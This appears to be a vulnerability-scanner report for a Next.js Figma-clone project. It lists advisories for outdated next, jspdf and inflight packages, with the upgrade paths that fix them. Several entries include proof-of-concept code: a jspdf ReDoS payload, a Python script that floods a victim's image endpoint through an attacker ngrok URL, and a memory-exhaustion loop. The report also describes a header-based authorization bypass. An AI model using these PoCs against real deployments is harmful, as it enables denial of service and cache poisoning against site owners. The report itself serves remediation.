Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.25.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Improper Authorization due to the improper handling of the x-middleware-subrequest
header. An attacker can bypass authorization checks by sending crafted requests containing this specific header.
Workaround
This can be mitigated by preventing external user requests which contain the x-middleware-subrequest
header from reaching your Next.js
application.
Remediation
Upgrade next
to version 12.3.5, 13.5.9, 14.2.25, 15.2.3, 15.3.0-canary.12 or higher.
References
high severity
new
- Vulnerable module: jspdf
- Introduced through: jspdf@2.5.2
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › jspdf@2.5.2Remediation: Upgrade to jspdf@3.0.2.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the addImage
or html
methods. An attacker can cause excessive CPU utilization and application unresponsiveness by supplying malicious PNG image data or URLs.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade jspdf
to version 3.0.2 or higher.
References
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@2.5.2
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › jspdf@2.5.2Remediation: Upgrade to jspdf@3.0.1.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the addImage()
, html()
, and addSvgAsImage()
methods. An attacker can occupy excessive CPU by supplying a malicious data-url.
PoC
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade jspdf
to version 3.0.1 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.10.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data by sending a crafted HTTP request, which allows the attacker to poison the cache of a non-dynamic server-side rendered route in the page router. This will coerce the request to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, a stale-while-revalidate
header, which some upstream CDNs may cache as well.
Note:
This is only vulnerable if:
The user is using pages router
The user is using non-dynamic server-side rendered routes.
Users are not affected if:
They are using the app router
The deployments are on Vercel
PoC
import shutil
import os
import requests
from urllib.parse import quote
import time #Import the time module
source_image = "chillguy.jpg" #Image file
attacker_url_base = "your_ngrok_url" #your ngrok url
upload_endpoint = "https://victim_url.com" #victim url
def copy_and_upload_image(file_name, num_copies):
if not os.path.exists(source_image):
print(f"File {source_image} not found")
return
for i in range(1, num_copies + 1):
new_image_name = f"chillguy{i}.jpg"#change the name of image file too if you change at line 7 before
# image file increment
shutil.copy(source_image, new_image_name)
print(f"Copy of: {new_image_name}")
# URL combination
image_url = f"{upload_endpoint}/_next/image?url={attacker_url_base}/{new_image_name}&w=256&q=100"
# Deactive SSL verification
try:
response = requests.get(upload_endpoint, verify=False)
if response.status_code == 200:
print(f"Image {new_image_name} uploaded to {upload_endpoint}, url: {image_url}")
else:
print(f"Failed to upload {new_image_name}. Status: {response.status_code}, Response: {response.text}")
except Exception as e:
print(f"Error {new_image_name}: {e}")
# 1 minute delay
print(f"Wait a minute... {new_image_name}...")
time.sleep(60)
# delete copy of image file on your local system
os.remove(new_image_name)
print(f"Delete: {new_image_name}")
#input
try:
num_copies = int(input("Enter how many copies of your image: "))
copy_and_upload_image("chillguy.jpg", num_copies)#change the name of image file too if you change at line 7 before
except ValueError:
print("Please input number only.")
Remediation
Upgrade next
to version 13.5.7, 14.2.10 or higher.
References
high severity
new
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.32.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolve-routes
. An attacker can access internal resources and potentially exfiltrate sensitive information by crafting requests containing user-controlled headers (e.g.,
Location) that are forwarded or interpreted without validation.
Note: This is only exploitable if custom middleware logic is implemented in a self-hosted deployment. The project maintainers recommend using the documented NextResponse.next({request})
to explicitly pass the request object.
Remediation
Upgrade next
to version 14.2.32, 15.4.2-canary.43, 15.4.7 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.15.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Authorization when using pathname-based checks in middleware for authorization decisions. If i18n configuration is not configured, an attacker can get unintended access to pages one level under the application's root directory.
e.g. https://example.com/foo
is accessible. https://example.com/
and https://example.com/foo/bar
are not.
Note:
Only self-hosted applications are vulnerable. The vulnerability has been fixed by Vercel on the server side.
Remediation
Upgrade next
to version 13.5.8, 14.2.15, 15.0.0-canary.177 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.7.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the image optimization feature. An attacker can cause excessive CPU consumption by exploiting this vulnerability.
Workaround
Ensure that the next.config.js
file has either images.unoptimized
, images.loader
or images.loaderFile
assigned.
Remediation
Upgrade next
to version 14.2.7, 15.0.0-canary.109 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.21.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Server Actions process. An attacker can cause the server to hang by constructing requests that leave Server-Actions requests pending until the hosting provider terminates the function execution.
Note:
This is only exploitable if there are no protections against long-running Server Action invocations.
Remediation
Upgrade next
to version 13.5.8, 14.2.21, 15.1.2 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.24.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Race Condition in the Pages Router
. An attacker can cause the server to serve incorrect pageProps
data instead of the expected HTML content by exploiting a race condition between two requests, one containing the ?__nextDataRequest=1
query parameter and another with the x-now-route-matches
header.
Notes:
This is only exploitable if the CDN provider caches a
200 OK
response even in the absence of explicitcache-control
headers, enabling a poisoned response to persist and be served to subsequent users;No backend access or privileged escalation is possible through this vulnerability;
Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on
200 OK
status without explicitcache-control
headers.This is a bypass of the fix for CVE-2024-46982
Workaround
This can be mitigated by stripping the x-now-route-matches
header from all incoming requests at your CDN and setting cache-control: no-store
for all responses under risk.
Remediation
Upgrade next
to version 14.2.24, 15.1.6 or higher.
References
medium severity
new
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.31.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the image optimization process, when responses from API routes vary based on request headers such as Cookie
or Authorization
. An attacker can gain unauthorized access to sensitive image data by exploiting cache key confusion, causing responses intended for authenticated users to be served to unauthorized users.
Note: Exploitation requires a prior authorized request to populate the cache.
Remediation
Upgrade next
to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: fabric@5.5.2
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › fabric@5.5.2 › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
low severity
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.30.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets when running next dev and the project uses the App Router. An attacker can access the source code of client components by exploiting the Cross-site WebSocket hijacking (CSWSH) attack when a user visits a malicious link while having the server running locally.
Workarounds
Avoid browsing untrusted websites while running the local development server.
Implement local firewall or proxy rules to block unauthorized WebSocket access to localhost.
Remediation
Upgrade next
to version 14.2.30, 15.2.2 or higher.
References
low severity
new
- Vulnerable module: next
- Introduced through: next@14.2.3
Detailed paths
-
Introduced through: figma-clone@ladunjexa/nextjs14-figma#f81171339467e3579164830cfd691f1ebe748507 › next@14.2.3Remediation: Upgrade to next@14.2.31.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Source Correlation of Multiple Independent Data in image-optimizer
. An attacker can cause arbitrary files to be downloaded with attacker-controlled content and filenames by supplying malicious external image sources.
Note: This is only exploitable if the application is configured to allow external image sources via the images.domains
or images.remotePatterns
configuration.
Remediation
Upgrade next
to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.